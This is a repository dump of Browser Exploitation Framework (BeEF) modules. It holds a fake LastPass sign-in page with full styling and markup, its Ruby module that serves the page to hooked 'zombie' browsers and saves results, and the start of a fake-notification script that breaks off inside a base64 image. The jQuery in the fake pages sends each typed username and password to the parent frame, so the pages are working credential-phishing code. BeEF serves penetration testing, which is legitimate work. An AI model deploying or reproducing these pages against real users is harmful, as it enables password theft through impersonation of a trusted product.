opacity:0.6;\n}\n#logintitletxt{\n  font-size:19px;\n}\n\n.inputdiv { padding-bottom:12px;}\n\n#forgotcontainer{\n  display:inline-block;\n  vertical-align:top;\n  margin-top:1px;\n  float:right;\n  margin-right:10px;\n}\n\n#screenkeyboard{\n  margin-left:-40px;\n}\n\n#screenkeyboard img{\n  opacity:0.6;\n}\n#screenkeyboard img:hover{\n  opacity:1.0;\n}\n\n#screenkeyboardcontainer{\n  position:relative;\n  top:4px;\n}\n\n#deleteicon{\n  opacity:0.6;\n  margin-left:-22px;\n}\n#deleteicon:hover{\n  opacity:1.0;\n}\n#u_button{\n  left:190px !important;\n}\n/* General */\n.clear         {clear:both;font-size:0;height:0;line-height:0;overflow:hidden;}\n\ntable td       {\n\tpadding-right:10px;\n\twhite-space:nowrap;\n}\n\n\n#createaccount input[type=text], #createaccount input[type=password]{\n  width:300px;\n}\n#createaccount select{\n  width:300px;\n}\n#createaccount .toprows{\n  padding:4px 0px;\n}\n#createaccount #emailerror{\n  color:red;\n}\n\n.wiz, .wiz table{\n  font-size:14px;\n}\n\n.content{\n  width:50%;\n  margin: 50px auto;\n  background: white;\n  border-radius: 5px;\n  border: 1px gray solid;\n  padding: 35px 15px;\n}\n.contentwide{\n  width:55%;\n}\n.dimpled button{\n  padding:7px;\n  margin: 2px 5px;\n}\n#_docwrite_welcome3{\n  margin: 5px 0px;\n}\n.dimpled img{\n  margin:auto;\n}\n#_docwrite_welcome1{\n  vertical-align: middle;\n  text-align: center;\n  width: 100%;\n}\n.dimpled img{\n  margin-left: 100px;\n}\n#reenterpassword{\n  width:300px;\n}\n.createlink{\n  font-weight:normal !important;\n  font-size:inherit !important;\n}\n\n.imgcenter{\n  display:block !important;\n  margin:0px auto !important;\n}\n\n.dialog{\n  border:1px solid #949494;\n  border-radius: 2px;\n  background:#e6e6e6;\n  color:#4c4c4c;\n  margin:50px auto;\n}\n\n#googleauth, #outofband, #yubikey, #sesame, #grid{\n  width:702px;\n  height:290px;\n  border:1px solid #949494;\n  border-radius: 2px;\n  background:#e6e6e6;\n  color:#4c4c4c;\n  margin:50px auto;\n}\n.multiheader{\n  background:white;\n  border-bottom:1px solid #949494;\n  height:64px;\n}\n.multiheader img{\n   padding:20px 0 0 20px;\n}\n\n.leftcol{\n  float:left;\n}\n\n.multileft{\n  width:472px;\n  border-right:1px solid #c3c3c3;\n  padding:8px;\n  font-size:14px;\n  min-height:210px;\n}\n.multileft a{\n  text-decoration:none;\n  color:#848484;\n  float:right;\n  font-size:12px;\n}\n\n#googright{\n  background:url(gauthlastpass.png) no-repeat center center;\n  width:200px;\n  height:200px;\n}\n\n.multiright{\n  background:url(gauthlastpass.png) no-repeat center center;\n  width:200px;\n  height:200px;\n}\n\n#yubiright{\n  background:url(yubikeyicon2.jpg) no-repeat center center;\n  width:200px;\n  height:200px;\n}\n#sesameright{\n  background:url(step2.gif) no-repeat center center;\n  width:150px;\n  height:150px;\n}\n#gridright{\n  background:url(spreadsheet.png) no-repeat center center;\n  width:200px;\n  height:200px;\n}\n\n\n\n\n\n#googleauthotp{\n  width:100px;\n  height:24px;\n  padding-left:20px;\n}\n.multienter{\n  font-weight:bold;\n  margin:0px;\n}\n.multidesc{\n  padding-top:18px;\n}\n.multititle{\n  float:right;\n  padding:20px 10px 0 0;\n}\n.lost{\n  padding-left:50px;\n}\n.vault-table{\n  border-top:1px solid #c3c3c3\n}\n#googleauthauth{\n  height:30px;\n}\n#labelgoogleauth{\n  padding:5px 3px;\n}\n.stdbg{\n   background:#e6e6e6;\n  padding:0 20px;\n}\n\n.okbutton{\n  border-radius: 2px !important;\n  color:#fff !important;                /* final */\n  background-color:#e0322d !important;  /* final */\n  /*font-weight:bold !important;*/\n  border-color:#af1510 !important;     /* final */\n  background-image: none !important;\n  text-shadow:none !important;\n  min-width: 110px;\n  padding:6px 0px;\n}\n\n.okbutton:hover{\n  background-color: #d12a25 !important;\n}\n\n\n.stdtext{\n  color:#4c4c4c;\n  font-family:Helvetica, Arial, sans-serif;\n  font-size:14px;\n}\n\n\n.stdbtn {\nbackground-color: #eeeeee;\nbackground-image: -webkit-gradient(linear, left top, left bottom, from(#eeeeee), to(#cccccc));\nbackground-image: -webkit-linear-gradient(top, #eeeeee, #cccccc);\nbackground-image: -moz-linear-gradient(top, #eeeeee, #cccccc);\nbackground-image: -ms-linear-gradient(top, #eeeeee, #cccccc);\nbackground-image: -o-linear-gradient(top, #eeeeee, #cccccc);\nbackground-image: linear-gradient(top, #eeeeee, #cccccc);\nborder: 1px solid #ccc;\nborder-bottom: 1px solid #bbb;\n-webkit-border-radius: 3px;\ncolor: #333;\nline-height: 1;\nfont-weight: bold;\npadding: 8px 0;\ntext-align: center;\ntext-shadow: 0 1px 0 #eee;\nmin-width: 110px;\nmargin: 4px;\n}\ninput[type=button] {\nbackground-color: #eeeeee;\nbackground-image: -webkit-gradient(linear, left top, left bottom, from(#eeeeee), to(#cccccc));\nbackground-image: -webkit-linear-gradient(top, #eeeeee, #cccccc);\nbackground-image: -moz-linear-gradient(top, #eeeeee, #cccccc);\nbackground-image: -ms-linear-gradient(top, #eeeeee, #cccccc);\nbackground-image: -o-linear-gradient(top, #eeeeee, #cccccc);\nbackground-image: linear-gradient(top, #eeeeee, #cccccc);\nborder: 1px solid #ccc;\nborder-bottom: 1px solid #bbb;\n-webkit-border-radius: 3px;\ncolor: #333;\nline-height: 1;\nfont-weight: bold;\npadding: 8px 0;\ntext-align: center;\ntext-shadow: 0 1px 0 #eee;\nmin-width: 110px;\nmargin: 4px;\n}\n\n#prefsheader{\n  height:65px;\n  border-bottom:1px solid #c3c3c3;\n  background-color:white;\n}\n#prefsheader img{\n  padding:22px 0 0 32px;\n}\n.dropStyle {\n  background: #fff !important;\n  color: #000 !important;\n  position:absolute;\n  cursor:default;\n  text-align:left;\n  font-size:14px;\n  z-index:10000;\n  height:120px;\n  overflow:auto;\n  border: 1px solid #000 !important;\n  padding: 4px 0px;\n  font-family: Arial, Helvetica, sans-serif; font-weight:normal;\n}\n.dropStyle div{\n  display:block;\n  padding: 1px 0px;\n  outline: none;  /* need this to disable webkit default glow */\n}\n\n.item {\n}\n.focus {\n      /* background: #d2d2d2 !important;*/\n        background: #dddddd;   /* final from levi */\n\tcolor: #000 !important;\n\t-webkit-border-radius: 0;\n\t-moz-border-radius: 0;\n\ttext-shadow: 0 1px 1px rgba(0, 0, 0, .1);\n  font-family: Arial, Helvetica, sans-serif; font-weight:normal;\n}\n\n.item[aria-disabled=\"true\"] {\n  color: grey;\n}\n.offscreen {\n   position: absolute;\n  left: -9000px;\n  width: 0;\n  overflow: hidden;\n}\n\n.teardrop{\n  opacity:0.5;\n  background-color: #fff;\n}\n.teardrop:hover, .teardrop:active{\n  opacity:1;\n  /*background-color: #d2d2d2;*/\n  background: #dddddd;   /* final from levi */\n}\n\nbody { padding:10px 20px; font:13px Helvetica, Arial, Tahoma, sans-serif; }\n\n.graybody {\n  background: #e6e6e6;\n}\n\n.logintitle{\n  font-size:12px; font-weight:bold; \n}\n\n.css3button {\n\tfont-family: Helvetica, Arial, sans-serif; font-weight:bold;\n\tfont-size: 14px;\n\tcolor: #ffffff;\n\tpadding: 2px 15px;\n\tbackground: -webkit-linear-gradient(top, rgba(32,188,232,1) 0%,rgba(0,119,232,1) 100%);\n\t-webkit-border-radius: 30px;\n\tborder: 2px solid #ffffff;\n\t-webkit-box-shadow:\n\t\t0px 3px 11px rgba(000,000,000,0.5),\n\t\tinset 0px 0px 1px rgba(005,000,004,1);\n\ttext-shadow:\n\t\t0px -1px 0px rgba(000,000,000,0.2),\n\t\t0px 1px 0px rgba(255,255,255,0.3);\n}\n\n.css3button:hover {\n\tcursor:hand;\n\t background:-webkit-gradient(linear, left top, left bottom, color-stop(0%,#158aff), color-stop(44%,#0b7ef1), color-stop(100%,#126eca));\n}\n\n/** text area input with shadow **/\n\n\n\ncheckbox {\n\tpadding: 4px;\n\t}\n\n\n/** input focus darkening **/\n\n\n.form label { \n\tmargin-left: 10px; \n\tcolor: #999999;\n\tfont-weight:bold; \n\t}\n\na:link, a:active {\n\tfont-size : 11px;\n\tfont-family : helvetica;\n\ttext-decoration : none;\n\tpadding-left:10px\n\t}\n\t\n\ta:hover {\n\t\tfont-family : helvetica;\n\t\tcolor : #09F;\n\t\ttext-decoration : none;\n\t\t}\n\nbutton{\n  min-width:110px;\n  padding:6px 15px;\n}\n\n.okbutton{\n  border-radius: 0px !important;\n  color:#fff !important;                /* final */\n  background-color:#e0322d !important;  /* final */\n  /*font-weight:bold !important;*/\n  background-image: none !important;\n  text-shadow:none !important;\n  min-width: 110px;\n}\n\n.okbutton:hover{\n  background-color: #d12a25 !important;\n}\n\n#loginbody a, #loginbodyfull a{\n  color:#848484;\n}\n\n#logincontainer{\n  background:#e6e6e6;\n  margin:50px auto;\n  width: 280px;\n  border-radius: 1px;\n  border: 1px solid #c3c3c3;\n}\n\n#logininner{\n  padding:20px;\n}\n#donotrepromptfor{\n  vertical-align:middle;\n}\n\n</style>\n\n<!-- <script src=\"lpfulllib.js\"></script>\n<script src=\"db.js\"></script>\n<script src=\"popupcombobox.js\"></script>\n<script src=\"prefs.js\"></script>\n<script src=\"server.js\"></script>\n<script src=\"login.js\"></script>\n<script src=\"popupfilltab_cs.js\"></script>\n -->\n\n <script src=\"jquery.js\" type=\"text/javascript\"></script>\n<script>\n$(document).ready(function() {\n\t$('#u').keyup(function() {\n\t\tparent.postMessage('Username field changed to: ' + $('#u').val(),'*');\n\t});\n\n\t$('#p').keyup(function() {\n\t\tparent.postMessage('Password field changed to: ' + $('#p').val(),'*');\n\t});\n\n\t$('#rememberemail').change(function() {\n\t\tparent.postMessage('Remember Email changed to: ' + $('#rememberemail').prop('checked'),'*');\n\t});\n\n\t$('#rememberpassword').change(function() {\n\t\tparent.postMessage('Remember Password changed to: ' + $('#rememberpassword').prop('checked'),'*');\n\t});\n\n\t$('#showvault').change(function() {\n\t\tparent.postMessage('Show Vault changed to: ' + $('#showvault').prop('checked'),'*');\n\t});\n\n\t$('#login,#cancel,#forgot,#screenkeyboard,#createaccount').click(function() {\n\t\tparent.postMessage('Button Clicked - username field: ' + $('#u').val() + '; password field: ' + $('#p').val(),'*');\n\t\tparent.postMessage('KILLFRAME','*');\n\t});\n\n\t$('#u').focus();\n\n});\n\n</script>\n</head><body id='loginbody' class=\"graybody\" style='width:236px;min-width:236px'><div id='loginheader'><span id=\"logintitletxt\">Sign In</span><img id=\"logoimg\" src='lp_signin_logo.png'/></div><br/><br/><div id=\"reprompttext\" style=\"display: none;\"><br><span id=\"_docwrite_login_small1\"></span><br><br></div><div id=\"nodbtext\" style=\"display: none; color: red;\"><br><b><span id=\"_docwrite_login_small2\"></span></b><br><br></div><form id='f'><div class='inputdiv'><span class='logintitle'><span id=\"_docwrite_login_small3\">Email</span>:</span><br/><input type='text' spellcheck=\"false\" id='u' class='logininput' name='username' value=''/></div><div class='inputdiv'><span class='logintitle'><span id=\"_docwrite_login_small4\">Password</span>:</span><div id=\"forgotcontainer\"><a id='forgot' href='#' tabindex=\"-1\"><span id=\"_docwrite_login_small21\"></span></a></div><br/><div><input type='password' class='logininput' id='p' name='password'/></div></div><div id=\"rememberemailrow\"><input type='checkbox' name='rememberemail' id='rememberemail'/>&nbsp;&nbsp;<label for=\"rememberemail\"><span id=\"_docwrite_login_small5\">Remember Email</span></label></div><div id=\"rememberpasswordrow\"><input type='checkbox' name='rememberpassword' id='rememberpassword'/>&nbsp;&nbsp;<label for=\"rememberpassword\"><span id=\"_docwrite_login_small6\">Remember Password</span></label></div><div id=\"showvaultrow\"><input type='checkbox' name='showvault' id='showvault'/>&nbsp;&nbsp;<label for=\"showvault\"><span id=\"_docwrite_login_small7\">Show Vault After Login</span></label></div><div id=\"donotrepromptforrow\" style=\"display: none;\"><br/><input type='checkbox' name='donotrepromptfor' id='donotrepromptfor'/>&nbsp;&nbsp;<label for=\"donotrepromptfor\"><span id=\"_docwrite_login_small8\"></span></label><select id=\"donotrepromptforsecs\"><option value=\"0\"></option><option value=\"30\" id=\"_docwrite_login_small9\"></option><option value=\"60\" id=\"_docwrite_login_small10\"></option><option value=\"300\" id=\"_docwrite_login_small11\"></option><option value=\"900\" id=\"_docwrite_login_small12\"></option><option value=\"1800\" id=\"_docwrite_login_small13\"></option><option value=\"3600\" id=\"_docwrite_login_small14\"></option><option value=\"10800\" id=\"_docwrite_login_small15\"></option><option value=\"21600\" id=\"_docwrite_login_small16\"></option><option value=\"28800\" id=\"_docwrite_login_small25\"></option><option value=\"43200\" id=\"_docwrite_login_small17\"></option><option value=\"86400\" id=\"_docwrite_login_small18\"></option></select></div><hr/><div id='btnrow' class='btnrow'><table class='buttontable'><tr><td><button class='okbutton' id='login'/>Login</button></td><td><button id='cancel'/>Cancel</button></td></tr></table></div></form><div id='links'><span id=\"createaccountcontainer\"><a id='createaccount' href='#'><span id=\"_docwrite_login_small23\">New here? Create an Account.</span></a><br/></span></div><br/><div id='error'></div></body></html>\n\n"
  },
  {
    "path": "modules/social_engineering/fake_lastpass/index.html",
    "content": "<html><head><meta http-equiv=\"Content-Type\" content=\"text/html; charset=UTF-8\"/><meta http-equiv=\"Pragma\" CONTENT=\"no-cache\"><meta http-equiv=\"Expires\" CONTENT=\"0\"><meta http-equiv=\"CACHE-CONTROL\" CONTENT=\"no-cache\">\n<style type=\"text/css\">\nbody { font-family: Helvetica,Arial;\ncolor:white;}\n\n#_docwrite_login_small7 { white-space:normal; width:258px !important; display:inline-block; }\n#showvault { vertical-align: top; }\n\n/* General */\n.clear         {clear:both;font-size:0;height:0;line-height:0;overflow:hidden;}\n\ntable td       {\n\tpadding-right:10px;\n\twhite-space:nowrap;\n}\n\n\n\t\n.dropStyle {\n  border:thin solid white;\nbackground: #919191 !important; /* for non-css3 browsers */\n  background: -webkit-gradient(linear, left top, left bottom, from(#a9a9a9), to(#7a7a7a)); /* for webkit browsers */\n  font-weight: bold;\n  color: #e7e5e5;\n  position:absolute;\n  cursor:default;\n  text-align:left;\n  font-size:12px;\n  z-index:10000;\n  height:120px;\n  overflow:auto;\n  }\n.item {\n}\n.focus {\nbackground: #0399d4 !important; /* for non-css3 browsers */\n\tbackground: -webkit-gradient(linear, left top, left bottom, from(#04acec), to(#0186ba)) !important; /* for webkit browsers */\n\tcolor: #fff !important;\n\t-webkit-border-radius: 0;\n\t-moz-border-radius: 0;\n\ttext-shadow: 0 1px 1px rgba(0, 0, 0, .1);\n\tcursor:hand\n}\n\n.item[aria-disabled=\"true\"] {\n  color: grey;\n}\n.offscreen {\n   position: absolute;\n  left: -9000px;\n  width: 0;\n  overflow: hidden;\n}\n\nbody { padding:20px 10px 0px 50px; font:13px/150% Helvetica, Arial, Tahoma, sans-serif; }\n\nbody{\n\tbackground:url('q3Jrp.png') repeat;\n}\n\n.logintitle{\nfont-size:16px; font-weight:bold; \ntext-shadow:1px 1px 2px #858585\n}\n\n/**.css3button { background-image:url(images/menu_btnsmall.png); height:30px; width:95px; line-height:30px; font-size:12px; color:white; text-align:center;\ncursor:hand;\nfont-weight:bold;\ntext-shadow:1px 1px 2px #858585}\n.css3button:hover { background-image:url(images/menuroll_btnsmall.png); cursor:hand; } **/\n\n.css3button {\n\tfont-family: Helvetica, Arial, sans-serif; font-weight:bold;\n\tfont-size: 14px;\n\tcolor: #ffffff;\n\tpadding: 2px 15px;\n\tbackground: -webkit-linear-gradient(top, rgba(32,188,232,1) 0%,rgba(0,119,232,1) 100%);\n\t-webkit-border-radius: 30px;\n\tborder: 2px solid #ffffff;\n\t-webkit-box-shadow:\n\t\t0px 3px 11px rgba(000,000,000,0.5),\n\t\tinset 0px 0px 1px rgba(005,000,004,1);\n\ttext-shadow:\n\t\t0px -1px 0px rgba(000,000,000,0.2),\n\t\t0px 1px 0px rgba(255,255,255,0.3);\n}\n\n.css3button:hover {\n\tcursor:hand;\n\t background:-webkit-gradient(linear, left top, left bottom, color-stop(0%,#158aff), color-stop(44%,#0b7ef1), color-stop(100%,#126eca));\n}\n\n/** text area input with shadow **/\n\n\n.textarea { \n\t-webkit-transition: all 0.30s ease-in-out;\n\tpadding-left: 7px;\n\twidth:200px;\n\tborder: solid 1px #E5E5E5;\n\toutline: 0;\n\tfont: normal 13px/100% Helvetica, Arial, Tahoma, sans-serif;\n\tbox-shadow: rgba(0,0,0, 0.1) 0px 0px 8px;\n\t-moz-box-shadow: rgba(0,0,0, 0.1) 0px 0px 8px;\n\t-webkit-box-shadow: inset 1 3px 1 hsla(0,0%,0%,0.1);\n\t-webkit-border-radius: 10px;\n\t}\n\t\ncheckbox {\n\tpadding: 4px;\n\t}\n\n\n/** input focus darkening **/\n\n/*\n.textarea:hover, .textarea:focus { \n\tborder-color: #C9C9C9; \n\t-webkit-box-shadow: 0px 0px 5px 2px #3d8bff;\n\t}\n*/\n\n.glow { \n\tborder-color: #C9C9C9; \n   \t-webkit-box-shadow:0 0 1px 3px hsla(210,100%,50%,0.8), 0 1px 0 hsla(0,0%,100%,0.3);\n\n\t}\n\n\n.form label { \n\tmargin-left: 10px; \n\tcolor: #999999;\n\tfont-weight:bold; \n\t}\n\na:link, a:active {\n\tfont-weight : bold;\n\tfont-size : 12px;\n\tfont-family : helvetica;\n\tcolor :white;\n\ttext-decoration : none;\n\tpadding-left:10px\n\t}\n\t\n\ta:hover {\n\t\tfont-weight : bold;\n\t\tfont-size : 12px;\n\t\tfont-family : helvetica;\n\t\tcolor : #09F;\n\t\ttext-decoration : none;\n\t\t}\n\t\t\n</style>\n<script src=\"jquery.js\" type=\"text/javascript\"></script>\n<script>\n$(document).ready(function() {\n\t$('#u').keyup(function() {\n\t\tparent.postMessage('Username field changed to: ' + $('#u').val(),'*');\n\t});\n\n\t$('#p').keyup(function() {\n\t\tparent.postMessage('Password field changed to: ' + $('#p').val(),'*');\n\t});\n\n\t$('#rememberemail').change(function() {\n\t\tparent.postMessage('Remember Email changed to: ' + $('#rememberemail').prop('checked'),'*');\n\t});\n\n\t$('#rememberpassword').change(function() {\n\t\tparent.postMessage('Remember Password changed to: ' + $('#rememberpassword').prop('checked'),'*');\n\t});\n\n\t$('#showvault').change(function() {\n\t\tparent.postMessage('Show Vault changed to: ' + $('#showvault').prop('checked'),'*');\n\t});\n\n\t$('#login,#cancel,#forgot,#screenkeyboard,#createaccount').click(function() {\n\t\tparent.postMessage('Button Clicked - username field: ' + $('#u').val() + '; password field: ' + $('#p').val(),'*');\n\t\tparent.postMessage('KILLFRAME','*');\n\t});\n\n});\n\n</script>\n</head><body><img src='lpwhite_small.png'/><p><div id=\"reprompttext\" style=\"display: none;\"><br><span id=\"_docwrite_login_small1\"></span><br><br></div><div id=\"nodbtext\" style=\"display: none; color: red;\"><br><b><span id=\"_docwrite_login_small2\"></span></b><br><br></div>\n<form id='f'><table><tr><td class='logintitle'><span id=\"_docwrite_login_small3\">Email</span></td></tr><tr><td><input type='text' id='u' class='textarea' name='username' value=''/>&nbsp;&nbsp;<img id=\"deleteicon\" src=\"xsmall.png\" valign=\"middle\"></td></tr><tr><td class='logintitle'><span id=\"_docwrite_login_small4\">Password</span></td></tr><tr><td><input type='password' class='textarea' id='p' name='password'/></td></tr><tr id=\"rememberemailrow\"><td><input type='checkbox' name='rememberemail' id='rememberemail'/>&nbsp;&nbsp;<label for=\"rememberemail\"><span id=\"_docwrite_login_small5\">Remember Email</span></label></td></tr><tr id=\"rememberpasswordrow\"><td><input type='checkbox' name='rememberpassword' id='rememberpassword'/>&nbsp;&nbsp;<label for=\"rememberpassword\"><span id=\"_docwrite_login_small6\">Remember Password</span></label></td></tr><tr id=\"showvaultrow\"><td><input type='checkbox' name='showvault' id='showvault'/>&nbsp;&nbsp;<label for=\"showvault\"><span id=\"_docwrite_login_small7\">Show Vault After Login</span></label></td></tr><tr id=\"donotrepromptforrow\" style=\"display: none;\"><td>&nbsp;</td><td><input type='checkbox' name='donotrepromptfor' id='donotrepromptfor'/>&nbsp;&nbsp;<label for=\"donotrepromptfor\"><span id=\"_docwrite_login_small8\"></span></label><select id=\"donotrepromptforsecs\"><option value=\"0\"></option><option value=\"30\" id=\"_docwrite_login_small9\"></option><option value=\"60\" id=\"_docwrite_login_small10\"></option><option value=\"300\" id=\"_docwrite_login_small11\"></option><option value=\"900\" id=\"_docwrite_login_small12\"></option><option value=\"1800\" id=\"_docwrite_login_small13\"></option><option value=\"3600\" id=\"_docwrite_login_small14\"></option><option value=\"10800\" id=\"_docwrite_login_small15\"></option><option value=\"21600\" id=\"_docwrite_login_small16\"></option><option value=\"43200\" id=\"_docwrite_login_small17\"></option><option value=\"86400\" id=\"_docwrite_login_small18\"></option></select></td></tr><div id='btnrow' class='btnrow'><table class='buttontable'><tr><td><div class='css3button' id='login'/><span id=\"_docwrite_login_small19\">Login</span></div></div></td><td><div class='css3button' id='cancel'/><span id=\"_docwrite_login_small20\">Cancel</span></div></td></tr></table></div></td></table></table></form><div id='links'><span id=\"forgotcontainer\"><img src=\"key_small.png\"><a id='forgot' href='#'><span id=\"_docwrite_login_small21\">I forgot my password, Help</span></a><br/></span><span id=\"screenkeyboardcontainer\"><img src=\"screenkeyboard.png\"><a id='screenkeyboard' href='#'><span id=\"_docwrite_login_small22\">Screen Keyboard</span></a><br/></span><span id=\"createaccountcontainer\"><img src=\"create_small.png\"><a id='createaccount' href='#'><span id=\"_docwrite_login_small23\">Create Account</span></a><br/></span></div><div id='error'></div>\n\n</body></html>\n"
  },
  {
    "path": "modules/social_engineering/fake_lastpass/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nclass Fake_lastpass < BeEF::Core::Command\n  def pre_send\n    BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind('/core/main/client/lib/jquery-1.12.4.min.js', '/lp/jquery', 'js')\n    BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind('/modules/social_engineering/fake_lastpass/index-new.html', '/lp/index', 'html')\n    BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind('/modules/social_engineering/fake_lastpass/lp_signin_logo.png', '/lp/lp_signin_logo', 'png')\n    BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind('/modules/social_engineering/fake_lastpass/cancel.png', '/lp/cancel', 'png')\n    BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind('/modules/social_engineering/fake_lastpass/keyboard.png', '/lp/keyboard', 'png')\n  end\n\n  #\n  # This method is being called when a zombie sends some\n  # data back to the framework.\n  #\n  def post_execute\n    if @datastore['meta'] == 'KILLFRAME'\n      BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.unbind('/lp/index.html')\n      BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.unbind('/lp/jquery.js')\n      BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.unbind('/lp/lp_signin_logo.png')\n      BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.unbind('/lp/cancel.png')\n      BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.unbind('/lp/keyboard.png')\n    end\n    content = {}\n    content['result'] = @datastore['result']\n    save content\n  end\nend\n"
  },
  {
    "path": "modules/social_engineering/fake_notification/command.js",
    "content": "//\n// Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\n\n\tvar id = beef.dom.generateID();\n\tvar pid = beef.dom.generateID();\n\tvar zztop = beef.dom.getHighestZindex()+1;\n\tvar el = beef.dom.createElement('div',{'id':id,'style':'width:100%; position:fixed; top:0px; left:0px; margin:0; padding:2px 20px 5px 24px; z-index:'+zztop+'; border-bottom:1px solid black; background:#ffffda; display:none; font-family: \\'Tahoma\\',sans-serif; font-size: 12px; '});\n\tvar ell = beef.dom.createElement('div',{'style':'width: 16px; height: 18px; padding: 0; margin: 3px 0px 5px 5px; position: absolute; left: 0px; top: 0px; background-image: url(data:image/png;base64,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